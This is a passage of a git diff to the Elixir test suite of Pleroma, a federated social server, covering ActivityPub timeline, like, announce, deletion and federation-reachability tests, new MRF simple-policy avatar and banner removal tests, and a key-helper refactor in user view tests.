	{:ok, user} = User.follow(user, booster)

	{:ok, announce, _object} = CommonAPI.repeat(activity_three.id, booster)

	[announce_activity] = ActivityPub.fetch_activities([user.ap_id \| user.following])

	assert announce_activity.id == announce.id
	end

	test "excludes reblogs on request" do
	user = insert(:user)
	{:ok, expected_activity} = ActivityBuilder.insert(%{"type" => "Create"}, %{:user => user})
	{:ok, _} = ActivityBuilder.insert(%{"type" => "Announce"}, %{:user => user})

	[activity] = ActivityPub.fetch_user_activities(user, nil, %{"exclude_reblogs" => "true"})

	assert activity == expected_activity
	end

	describe "public fetch activities" do
	test "doesn't retrieve unlisted activities" do
	user = insert(:user)

	{:ok, _unlisted_activity} =
	CommonAPI.post(user, %{"status" => "yeah", "visibility" => "unlisted"})

	{:ok, listed_activity} = CommonAPI.post(user, %{"status" => "yeah"})

	[activity] = ActivityPub.fetch_public_activities()

	assert activity == listed_activity
	end

	test "retrieves public activities" do
	_activities = ActivityPub.fetch_public_activities()

	%{public: public} = ActivityBuilder.public_and_non_public()

	activities = ActivityPub.fetch_public_activities()
	assert length(activities) == 1
	assert Enum.at(activities, 0) == public
	end

	test "retrieves a maximum of 20 activities" do
	activities = ActivityBuilder.insert_list(30)
	last_expected = List.last(activities)

	activities = ActivityPub.fetch_public_activities()
	last = List.last(activities)

	assert length(activities) == 20
	assert last == last_expected
	end

	test "retrieves ids starting from a since_id" do
	activities = ActivityBuilder.insert_list(30)
	later_activities = ActivityBuilder.insert_list(10)
	since_id = List.last(activities).id
	last_expected = List.last(later_activities)

	activities = ActivityPub.fetch_public_activities(%{"since_id" => since_id})
	last = List.last(activities)

	assert length(activities) == 10
	assert last == last_expected
	end

	test "retrieves ids up to max_id" do
	_first_activities = ActivityBuilder.insert_list(10)
	activities = ActivityBuilder.insert_list(20)
	later_activities = ActivityBuilder.insert_list(10)
	max_id = List.first(later_activities).id
	last_expected = List.last(activities)

	activities = ActivityPub.fetch_public_activities(%{"max_id" => max_id})
	last = List.last(activities)

	assert length(activities) == 20
	assert last == last_expected
	end

	test "doesn't return reblogs for users for whom reblogs have been muted" do
	activity = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)
	{:ok, user} = CommonAPI.hide_reblogs(user, booster)

	{:ok, activity, _} = CommonAPI.repeat(activity.id, booster)

	activities = ActivityPub.fetch_activities([], %{"muting_user" => user})

	refute Enum.any?(activities, fn %{id: id} -> id == activity.id end)
	end

	test "returns reblogs for users for whom reblogs have not been muted" do
	activity = insert(:note_activity)
	user = insert(:user)
	booster = insert(:user)
	{:ok, user} = CommonAPI.hide_reblogs(user, booster)
	{:ok, user} = CommonAPI.show_reblogs(user, booster)

	{:ok, activity, _} = CommonAPI.repeat(activity.id, booster)

	activities = ActivityPub.fetch_activities([], %{"muting_user" => user})

	assert Enum.any?(activities, fn %{id: id} -> id == activity.id end)
	end
	end

	describe "like an object" do
	test "adds a like activity to the db" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)
	user_two = insert(:user)

	{:ok, like_activity, object} = ActivityPub.like(user, object)

	assert like_activity.data["actor"] == user.ap_id
	assert like_activity.data["type"] == "Like"
	assert like_activity.data["object"] == object.data["id"]
	assert like_activity.data["to"] == [User.ap_followers(user), note_activity.data["actor"]]
	assert like_activity.data["context"] == object.data["context"]
	assert object.data["like_count"] == 1
	assert object.data["likes"] == [user.ap_id]

	# Just return the original activity if the user already liked it.
	{:ok, same_like_activity, object} = ActivityPub.like(user, object)

	assert like_activity == same_like_activity
	assert object.data["likes"] == [user.ap_id]

	[note_activity] = Activity.get_all_create_by_object_ap_id(object.data["id"])
	assert note_activity.data["object"]["like_count"] == 1

	{:ok, _like_activity, object} = ActivityPub.like(user_two, object)
	assert object.data["like_count"] == 2
	end
	end

	describe "unliking" do
	test "unliking a previously liked object" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)

	# Unliking something that hasn't been liked does nothing
	{:ok, object} = ActivityPub.unlike(user, object)
	assert object.data["like_count"] == 0

	{:ok, like_activity, object} = ActivityPub.like(user, object)
	assert object.data["like_count"] == 1

	{:ok, _, _, object} = ActivityPub.unlike(user, object)
	assert object.data["like_count"] == 0

	assert Activity.get_by_id(like_activity.id) == nil
	end
	end

	describe "announcing an object" do
	test "adds an announce activity to the db" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)

	{:ok, announce_activity, object} = ActivityPub.announce(user, object)
	assert object.data["announcement_count"] == 1
	assert object.data["announcements"] == [user.ap_id]

	assert announce_activity.data["to"] == [
	User.ap_followers(user),
	note_activity.data["actor"]
	]

	assert announce_activity.data["object"] == object.data["id"]
	assert announce_activity.data["actor"] == user.ap_id
	assert announce_activity.data["context"] == object.data["context"]
	end
	end

	describe "unannouncing an object" do
	test "unannouncing a previously announced object" do
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])
	user = insert(:user)

	# Unannouncing an object that is not announced does nothing
	# {:ok, object} = ActivityPub.unannounce(user, object)
	# assert object.data["announcement_count"] == 0

	{:ok, announce_activity, object} = ActivityPub.announce(user, object)
	assert object.data["announcement_count"] == 1

	{:ok, unannounce_activity, object} = ActivityPub.unannounce(user, object)
	assert object.data["announcement_count"] == 0

	assert unannounce_activity.data["to"] == [
	User.ap_followers(user),
	announce_activity.data["actor"]
	]

	assert unannounce_activity.data["type"] == "Undo"
	assert unannounce_activity.data["object"] == announce_activity.data
	assert unannounce_activity.data["actor"] == user.ap_id
	assert unannounce_activity.data["context"] == announce_activity.data["context"]

	assert Activity.get_by_id(announce_activity.id) == nil
	end
	end

	describe "uploading files" do
	test "copies the file to the configured folder" do
	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, %Object{} = object} = ActivityPub.upload(file)
	assert object.data["name"] == "an_image.jpg"
	end

	test "works with base64 encoded images" do
	file = %{
	"img" => data_uri()
	}

	{:ok, %Object{}} = ActivityPub.upload(file)
	end
	end

	describe "fetch the latest Follow" do
	test "fetches the latest Follow activity" do
	%Activity{data: %{"type" => "Follow"}} = activity = insert(:follow_activity)
	follower = Repo.get_by(User, ap_id: activity.data["actor"])
	followed = Repo.get_by(User, ap_id: activity.data["object"])

	assert activity == Utils.fetch_latest_follow(follower, followed)
	end
	end

	describe "following / unfollowing" do
	test "creates a follow activity" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, activity} = ActivityPub.follow(follower, followed)
	assert activity.data["type"] == "Follow"
	assert activity.data["actor"] == follower.ap_id
	assert activity.data["object"] == followed.ap_id
	end

	test "creates an undo activity for the last follow" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, follow_activity} = ActivityPub.follow(follower, followed)
	{:ok, activity} = ActivityPub.unfollow(follower, followed)

	assert activity.data["type"] == "Undo"
	assert activity.data["actor"] == follower.ap_id

	assert is_map(activity.data["object"])
	assert activity.data["object"]["type"] == "Follow"
	assert activity.data["object"]["object"] == followed.ap_id
	assert activity.data["object"]["id"] == follow_activity.data["id"]
	end
	end

	describe "blocking / unblocking" do
	test "creates a block activity" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, activity} = ActivityPub.block(blocker, blocked)

	assert activity.data["type"] == "Block"
	assert activity.data["actor"] == blocker.ap_id
	assert activity.data["object"] == blocked.ap_id
	end

	test "creates an undo activity for the last block" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, block_activity} = ActivityPub.block(blocker, blocked)
	{:ok, activity} = ActivityPub.unblock(blocker, blocked)

	assert activity.data["type"] == "Undo"
	assert activity.data["actor"] == blocker.ap_id

	assert is_map(activity.data["object"])
	assert activity.data["object"]["type"] == "Block"
	assert activity.data["object"]["object"] == blocked.ap_id
	assert activity.data["object"]["id"] == block_activity.data["id"]
	end
	end

	describe "deletion" do
	test "it creates a delete activity and deletes the original object" do
	note = insert(:note_activity)
	object = Object.get_by_ap_id(note.data["object"]["id"])
	{:ok, delete} = ActivityPub.delete(object)

	assert delete.data["type"] == "Delete"
	assert delete.data["actor"] == note.data["actor"]
	assert delete.data["object"] == note.data["object"]["id"]

	assert Activity.get_by_id(delete.id) != nil

	assert Repo.get(Object, object.id).data["type"] == "Tombstone"
	end

	test "decrements user note count only for public activities" do
	user = insert(:user, info: %{note_count: 10})

	{:ok, a1} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "yeah",
	"visibility" => "public"
	})

	{:ok, a2} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "yeah",
	"visibility" => "unlisted"
	})

	{:ok, a3} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "yeah",
	"visibility" => "private"
	})

	{:ok, a4} =
	CommonAPI.post(User.get_cached_by_id(user.id), %{
	"status" => "yeah",
	"visibility" => "direct"
	})

	{:ok, _} = Object.normalize(a1) \|> ActivityPub.delete()
	{:ok, _} = Object.normalize(a2) \|> ActivityPub.delete()
	{:ok, _} = Object.normalize(a3) \|> ActivityPub.delete()
	{:ok, _} = Object.normalize(a4) \|> ActivityPub.delete()

	user = User.get_cached_by_id(user.id)
	assert user.info.note_count == 10
	end

	test "it creates a delete activity and checks that it is also sent to users mentioned by the deleted object" do
	user = insert(:user)
	note = insert(:note_activity)

	{:ok, object} =
	Object.get_by_ap_id(note.data["object"]["id"])
	\|> Object.change(%{
	data: %{
	"actor" => note.data["object"]["actor"],
	"id" => note.data["object"]["id"],
	"to" => [user.ap_id],
	"type" => "Note"
	}
	})
	\|> Object.update_and_set_cache()

	{:ok, delete} = ActivityPub.delete(object)

	assert user.ap_id in delete.data["to"]
	end

	test "decreases reply count" do
	user = insert(:user)
	user2 = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "1", "visibility" => "public"})
	reply_data = %{"status" => "1", "in_reply_to_status_id" => activity.id}
	ap_id = activity.data["id"]

	{:ok, public_reply} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "public"))
	{:ok, unlisted_reply} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "unlisted"))
	{:ok, private_reply} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "private"))
	{:ok, direct_reply} = CommonAPI.post(user2, Map.put(reply_data, "visibility", "direct"))

	_ = CommonAPI.delete(direct_reply.id, user2)
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	assert object.data["repliesCount"] == 2

	_ = CommonAPI.delete(private_reply.id, user2)
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	assert object.data["repliesCount"] == 2

	_ = CommonAPI.delete(public_reply.id, user2)
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	assert object.data["repliesCount"] == 1

	_ = CommonAPI.delete(unlisted_reply.id, user2)
	assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id)
	assert object.data["repliesCount"] == 0
	end
	end

	describe "timeline post-processing" do
	test "it filters broken threads" do
	user1 = insert(:user)
	user2 = insert(:user)
	user3 = insert(:user)

	{:ok, user1} = User.follow(user1, user3)
	assert User.following?(user1, user3)

	{:ok, user2} = User.follow(user2, user3)
	assert User.following?(user2, user3)

	{:ok, user3} = User.follow(user3, user2)
	assert User.following?(user3, user2)

	{:ok, public_activity} = CommonAPI.post(user3, %{"status" => "hi 1"})

	{:ok, private_activity_1} =
	CommonAPI.post(user3, %{"status" => "hi 2", "visibility" => "private"})

	{:ok, private_activity_2} =
	CommonAPI.post(user2, %{
	"status" => "hi 3",
	"visibility" => "private",
	"in_reply_to_status_id" => private_activity_1.id
	})

	{:ok, private_activity_3} =
	CommonAPI.post(user3, %{
	"status" => "hi 4",
	"visibility" => "private",
	"in_reply_to_status_id" => private_activity_2.id
	})

	activities =
	ActivityPub.fetch_activities([user1.ap_id \| user1.following])
	\|> Enum.map(fn a -> a.id end)

	private_activity_1 = Activity.get_by_ap_id_with_object(private_activity_1.data["id"])

	assert [public_activity.id, private_activity_1.id, private_activity_3.id] == activities

	assert length(activities) == 3

	activities =
	ActivityPub.fetch_activities([user1.ap_id \| user1.following], %{"user" => user1})
	\|> Enum.map(fn a -> a.id end)

	assert [public_activity.id, private_activity_1.id] == activities
	assert length(activities) == 2
	end
	end

	describe "update" do
	test "it creates an update activity with the new user data" do
	user = insert(:user)
	- {:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)
	+ {:ok, user} = User.ensure_keys_present(user)
	user_data = Pleroma.Web.ActivityPub.UserView.render("user.json", %{user: user})

	{:ok, update} =
	ActivityPub.update(%{
	actor: user_data["id"],
	to: [user.follower_address],
	cc: [],
	object: user_data
	})

	assert update.data["actor"] == user.ap_id
	assert update.data["to"] == [user.follower_address]
	assert update.data["object"]["id"] == user_data["id"]
	assert update.data["object"]["type"] == user_data["type"]
	end
	end

	test "returned pinned statuses" do
	Pleroma.Config.put([:instance, :max_pinned_statuses], 3)
	user = insert(:user)

	{:ok, activity_one} = CommonAPI.post(user, %{"status" => "HI!!!"})
	{:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"})
	{:ok, activity_three} = CommonAPI.post(user, %{"status" => "HI!!!"})

	CommonAPI.pin(activity_one.id, user)
	user = refresh_record(user)

	CommonAPI.pin(activity_two.id, user)
	user = refresh_record(user)

	CommonAPI.pin(activity_three.id, user)
	user = refresh_record(user)

	activities = ActivityPub.fetch_user_activities(user, nil, %{"pinned" => "true"})

	assert 3 = length(activities)
	end

	test "it can create a Flag activity" do
	reporter = insert(:user)
	target_account = insert(:user)
	{:ok, activity} = CommonAPI.post(target_account, %{"status" => "foobar"})
	context = Utils.generate_context_id()
	content = "foobar"

	reporter_ap_id = reporter.ap_id
	target_ap_id = target_account.ap_id
	activity_ap_id = activity.data["id"]

	assert {:ok, activity} =
	ActivityPub.flag(%{
	actor: reporter,
	context: context,
	account: target_account,
	statuses: [activity],
	content: content
	})

	assert %Activity{
	actor: ^reporter_ap_id,
	data: %{
	"type" => "Flag",
	"content" => ^content,
	"context" => ^context,
	"object" => [^target_ap_id, ^activity_ap_id]
	}
	} = activity
	end

	describe "publish_one/1" do
	test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is not specified",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	assert called(Instances.set_reachable(inbox))
	end

	test_with_mock "calls `Instances.set_reachable` on successful federation if `unreachable_since` is set",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} =
	Publisher.publish_one(%{
	inbox: inbox,
	json: "{}",
	actor: actor,
	id: 1,
	unreachable_since: NaiveDateTime.utc_now()
	})

	assert called(Instances.set_reachable(inbox))
	end

	test_with_mock "does NOT call `Instances.set_reachable` on successful federation if `unreachable_since` is nil",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} =
	Publisher.publish_one(%{
	inbox: inbox,
	json: "{}",
	actor: actor,
	id: 1,
	unreachable_since: nil
	})

	refute called(Instances.set_reachable(inbox))
	end

	test_with_mock "calls `Instances.set_unreachable` on target inbox on non-2xx HTTP response code",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://404.site/users/nick1/inbox"

	assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	assert called(Instances.set_unreachable(inbox))
	end

	test_with_mock "it calls `Instances.set_unreachable` on target inbox on request error of any kind",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://connrefused.site/users/nick1/inbox"

	assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	assert called(Instances.set_unreachable(inbox))
	end

	test_with_mock "does NOT call `Instances.set_unreachable` if target is reachable",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://200.site/users/nick1/inbox"

	assert {:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})

	refute called(Instances.set_unreachable(inbox))
	end

	test_with_mock "does NOT call `Instances.set_unreachable` if target instance has non-nil `unreachable_since`",
	Instances,
	[:passthrough],
	[] do
	actor = insert(:user)
	inbox = "http://connrefused.site/users/nick1/inbox"

	assert {:error, _} =
	Publisher.publish_one(%{
	inbox: inbox,
	json: "{}",
	actor: actor,
	id: 1,
	unreachable_since: NaiveDateTime.utc_now()
	})

	refute called(Instances.set_unreachable(inbox))
	end
	end

	def data_uri do
	File.read!("test/fixtures/avatar_data_uri")
	end
	end
	diff --git a/test/web/activity_pub/mrf/simple_policy_test.exs b/test/web/activity_pub/mrf/simple_policy_test.exs
	index 74af7dcde..0fd68e103 100644
	--- a/test/web/activity_pub/mrf/simple_policy_test.exs
	+++ b/test/web/activity_pub/mrf/simple_policy_test.exs
	@@ -1,220 +1,309 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do
	use Pleroma.DataCase
	import Pleroma.Factory
	alias Pleroma.Config
	alias Pleroma.Web.ActivityPub.MRF.SimplePolicy

	setup do
	orig = Config.get!(:mrf_simple)

	Config.put(:mrf_simple,
	media_removal: [],
	media_nsfw: [],
	federated_timeline_removal: [],
	report_removal: [],
	reject: [],
	- accept: []
	+ accept: [],
	+ avatar_removal: [],
	+ banner_removal: []
	)

	on_exit(fn ->
	Config.put(:mrf_simple, orig)
	end)
	end

	describe "when :media_removal" do
	test "is empty" do
	Config.put([:mrf_simple, :media_removal], [])
	media_message = build_media_message()
	local_message = build_local_message()

	assert SimplePolicy.filter(media_message) == {:ok, media_message}
	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	end

	test "has a matching host" do
	Config.put([:mrf_simple, :media_removal], ["remote.instance"])
	media_message = build_media_message()
	local_message = build_local_message()

	assert SimplePolicy.filter(media_message) ==
	{:ok,
	media_message
	\|> Map.put("object", Map.delete(media_message["object"], "attachment"))}

	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	end
	end

	describe "when :media_nsfw" do
	test "is empty" do
	Config.put([:mrf_simple, :media_nsfw], [])
	media_message = build_media_message()
	local_message = build_local_message()

	assert SimplePolicy.filter(media_message) == {:ok, media_message}
	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	end

	test "has a matching host" do
	Config.put([:mrf_simple, :media_nsfw], ["remote.instance"])
	media_message = build_media_message()
	local_message = build_local_message()

	assert SimplePolicy.filter(media_message) ==
	{:ok,
	media_message
	\|> put_in(["object", "tag"], ["foo", "nsfw"])
	\|> put_in(["object", "sensitive"], true)}

	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	end
	end

	defp build_media_message do
	%{
	"actor" => "https://remote.instance/users/bob",
	"type" => "Create",
	"object" => %{
	"attachment" => [%{}],
	"tag" => ["foo"],
	"sensitive" => false
	}
	}
	end

	describe "when :report_removal" do
	test "is empty" do
	Config.put([:mrf_simple, :report_removal], [])
	report_message = build_report_message()
	local_message = build_local_message()

	assert SimplePolicy.filter(report_message) == {:ok, report_message}
	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	end

	test "has a matching host" do
	Config.put([:mrf_simple, :report_removal], ["remote.instance"])
	report_message = build_report_message()
	local_message = build_local_message()

	assert SimplePolicy.filter(report_message) == {:reject, nil}
	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	end
	end

	defp build_report_message do
	%{
	"actor" => "https://remote.instance/users/bob",
	"type" => "Flag"
	}
	end

	describe "when :federated_timeline_removal" do
	test "is empty" do
	Config.put([:mrf_simple, :federated_timeline_removal], [])
	{_, ftl_message} = build_ftl_actor_and_message()
	local_message = build_local_message()

	assert SimplePolicy.filter(ftl_message) == {:ok, ftl_message}
	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	end

	test "has a matching host" do
	{actor, ftl_message} = build_ftl_actor_and_message()

	ftl_message_actor_host =
	ftl_message
	\|> Map.fetch!("actor")
	\|> URI.parse()
	\|> Map.fetch!(:host)

	Config.put([:mrf_simple, :federated_timeline_removal], [ftl_message_actor_host])
	local_message = build_local_message()

	assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message)
	assert actor.follower_address in ftl_message["to"]
	refute actor.follower_address in ftl_message["cc"]
	refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"]
	assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"]

	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	end
	+
	+ test "has a matching host but only as:Public in to" do
	+ {_actor, ftl_message} = build_ftl_actor_and_message()
	+
	+ ftl_message_actor_host =
	+ ftl_message
	+ \|> Map.fetch!("actor")
	+ \|> URI.parse()
	+ \|> Map.fetch!(:host)
	+
	+ ftl_message = Map.put(ftl_message, "cc", [])
	+
	+ Config.put([:mrf_simple, :federated_timeline_removal], [ftl_message_actor_host])
	+
	+ assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message)
	+ refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"]
	+ assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"]
	+ end
	end

	defp build_ftl_actor_and_message do
	actor = insert(:user)

	{actor,
	%{
	"actor" => actor.ap_id,
	"to" => ["https://www.w3.org/ns/activitystreams#Public", "http://foo.bar/baz"],
	"cc" => [actor.follower_address, "http://foo.bar/qux"]
	}}
	end

	describe "when :reject" do
	test "is empty" do
	Config.put([:mrf_simple, :reject], [])

	remote_message = build_remote_message()

	assert SimplePolicy.filter(remote_message) == {:ok, remote_message}
	end

	test "has a matching host" do
	Config.put([:mrf_simple, :reject], ["remote.instance"])

	remote_message = build_remote_message()

	assert SimplePolicy.filter(remote_message) == {:reject, nil}
	end
	end

	describe "when :accept" do
	test "is empty" do
	Config.put([:mrf_simple, :accept], [])

	local_message = build_local_message()
	remote_message = build_remote_message()

	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	assert SimplePolicy.filter(remote_message) == {:ok, remote_message}
	end

	test "is not empty but it doesn't have a matching host" do
	Config.put([:mrf_simple, :accept], ["non.matching.remote"])

	local_message = build_local_message()
	remote_message = build_remote_message()

	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	assert SimplePolicy.filter(remote_message) == {:reject, nil}
	end

	test "has a matching host" do
	Config.put([:mrf_simple, :accept], ["remote.instance"])

	local_message = build_local_message()
	remote_message = build_remote_message()

	assert SimplePolicy.filter(local_message) == {:ok, local_message}
	assert SimplePolicy.filter(remote_message) == {:ok, remote_message}
	end
	end

	+ describe "when :avatar_removal" do
	+ test "is empty" do
	+ Config.put([:mrf_simple, :avatar_removal], [])
	+
	+ remote_user = build_remote_user()
	+
	+ assert SimplePolicy.filter(remote_user) == {:ok, remote_user}
	+ end
	+
	+ test "is not empty but it doesn't have a matching host" do
	+ Config.put([:mrf_simple, :avatar_removal], ["non.matching.remote"])
	+
	+ remote_user = build_remote_user()
	+
	+ assert SimplePolicy.filter(remote_user) == {:ok, remote_user}
	+ end
	+
	+ test "has a matching host" do
	+ Config.put([:mrf_simple, :avatar_removal], ["remote.instance"])
	+
	+ remote_user = build_remote_user()
	+ {:ok, filtered} = SimplePolicy.filter(remote_user)
	+
	+ refute filtered["icon"]
	+ end
	+ end
	+
	+ describe "when :banner_removal" do
	+ test "is empty" do
	+ Config.put([:mrf_simple, :banner_removal], [])
	+
	+ remote_user = build_remote_user()
	+
	+ assert SimplePolicy.filter(remote_user) == {:ok, remote_user}
	+ end
	+
	+ test "is not empty but it doesn't have a matching host" do
	+ Config.put([:mrf_simple, :banner_removal], ["non.matching.remote"])
	+
	+ remote_user = build_remote_user()
	+
	+ assert SimplePolicy.filter(remote_user) == {:ok, remote_user}
	+ end
	+
	+ test "has a matching host" do
	+ Config.put([:mrf_simple, :banner_removal], ["remote.instance"])
	+
	+ remote_user = build_remote_user()
	+ {:ok, filtered} = SimplePolicy.filter(remote_user)
	+
	+ refute filtered["image"]
	+ end
	+ end
	+
	defp build_local_message do
	%{
	"actor" => "#{Pleroma.Web.base_url()}/users/alice",
	"to" => [],
	"cc" => []
	}
	end

	defp build_remote_message do
	%{"actor" => "https://remote.instance/users/bob"}
	end
	+
	+ defp build_remote_user do
	+ %{
	+ "id" => "https://remote.instance/users/bob",
	+ "icon" => %{
	+ "url" => "http://example.com/image.jpg",
	+ "type" => "Image"
	+ },
	+ "image" => %{
	+ "url" => "http://example.com/image.jpg",
	+ "type" => "Image"
	+ },
	+ "type" => "Person"
	+ }
	+ end
	end
	diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs
	index 9fb9455d2..e6483db8b 100644
	--- a/test/web/activity_pub/views/user_view_test.exs
	+++ b/test/web/activity_pub/views/user_view_test.exs
	@@ -1,80 +1,81 @@
	defmodule Pleroma.Web.ActivityPub.UserViewTest do
	use Pleroma.DataCase
	import Pleroma.Factory

	+ alias Pleroma.User
	alias Pleroma.Web.ActivityPub.UserView

	test "Renders a user, including the public key" do
	user = insert(:user)
	- {:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)
	+ {:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})

	assert result["id"] == user.ap_id
	assert result["preferredUsername"] == user.nickname

	assert String.contains?(result["publicKey"]["publicKeyPem"], "BEGIN PUBLIC KEY")
	end

	test "Does not add an avatar image if the user hasn't set one" do
	user = insert(:user)
	- {:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)
	+ {:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})
	refute result["icon"]
	refute result["image"]

	user =
	insert(:user,
	avatar: %{"url" => [%{"href" => "https://someurl"}]},
	info: %{
	banner: %{"url" => [%{"href" => "https://somebanner"}]}
	}
	)

	- {:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)
	+ {:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})
	assert result["icon"]["url"] == "https://someurl"
	assert result["image"]["url"] == "https://somebanner"
	end

	describe "endpoints" do
	test "local users have a usable endpoints structure" do
	user = insert(:user)
	- {:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)
	+ {:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})

	assert result["id"] == user.ap_id

	%{
	"sharedInbox" => _,
	"oauthAuthorizationEndpoint" => _,
	"oauthRegistrationEndpoint" => _,
	"oauthTokenEndpoint" => _
	} = result["endpoints"]
	end

	test "remote users have an empty endpoints structure" do
	user = insert(:user, local: false)
	- {:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)
	+ {:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})

	assert result["id"] == user.ap_id
	assert result["endpoints"] == %{}
	end

	test "instance users do not expose oAuth endpoints" do
	user = insert(:user, nickname: nil, local: true)
	- {:ok, user} = Pleroma.Web.WebFinger.ensure_keys_present(user)
	+ {:ok, user} = User.ensure_keys_present(user)

	result = UserView.render("user.json", %{user: user})

	refute result["endpoints"]["oauthAuthorizationEndpoint"]
	refute result["endpoints"]["oauthRegistrationEndpoint"]
	refute result["endpoints"]["oauthTokenEndpoint"]
	end
	end
	end
	diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs
	index ca12c7215..43dcf945a 100644
	--- a/test/web/admin_api/admin_api_controller_test.exs
	+++ b/test/web/admin_api/admin_api_controller_test.exs
	@@ -1,1279 +1,1295 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
	use Pleroma.Web.ConnCase

	alias Pleroma.Activity
	alias Pleroma.User
	alias Pleroma.UserInviteToken
	alias Pleroma.Web.CommonAPI
	import Pleroma.Factory

	describe "/api/pleroma/admin/users" do
	test "Delete" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> delete("/api/pleroma/admin/users?nickname=#{user.nickname}")

	assert json_response(conn, 200) == user.nickname
	end

	test "Create" do
	admin = insert(:user, info: %{is_admin: true})

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> put_req_header("accept", "application/json")
	\|> post("/api/pleroma/admin/users", %{
	"nickname" => "lain",
	"email" => "lain@example.org",
	"password" => "test"
	})

	assert json_response(conn, 200) == "lain"
	end
	end

	describe "/api/pleroma/admin/users/:nickname" do
	test "Show", %{conn: conn} do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, admin)
	\|> get("/api/pleroma/admin/users/#{user.nickname}")

	expected = %{
	"deactivated" => false,
	"id" => to_string(user.id),
	"local" => true,
	"nickname" => user.nickname,
	"roles" => %{"admin" => false, "moderator" => false},
	"tags" => []
	}

	assert expected == json_response(conn, 200)
	end

	test "when the user doesn't exist", %{conn: conn} do
	admin = insert(:user, info: %{is_admin: true})
	user = build(:user)

	conn =
	conn
	\|> assign(:user, admin)
	\|> get("/api/pleroma/admin/users/#{user.nickname}")

	assert "Not found" == json_response(conn, 404)
	end
	end

	describe "/api/pleroma/admin/users/follow" do
	test "allows to force-follow another user" do
	admin = insert(:user, info: %{is_admin: true})
	user = insert(:user)
	follower = insert(:user)

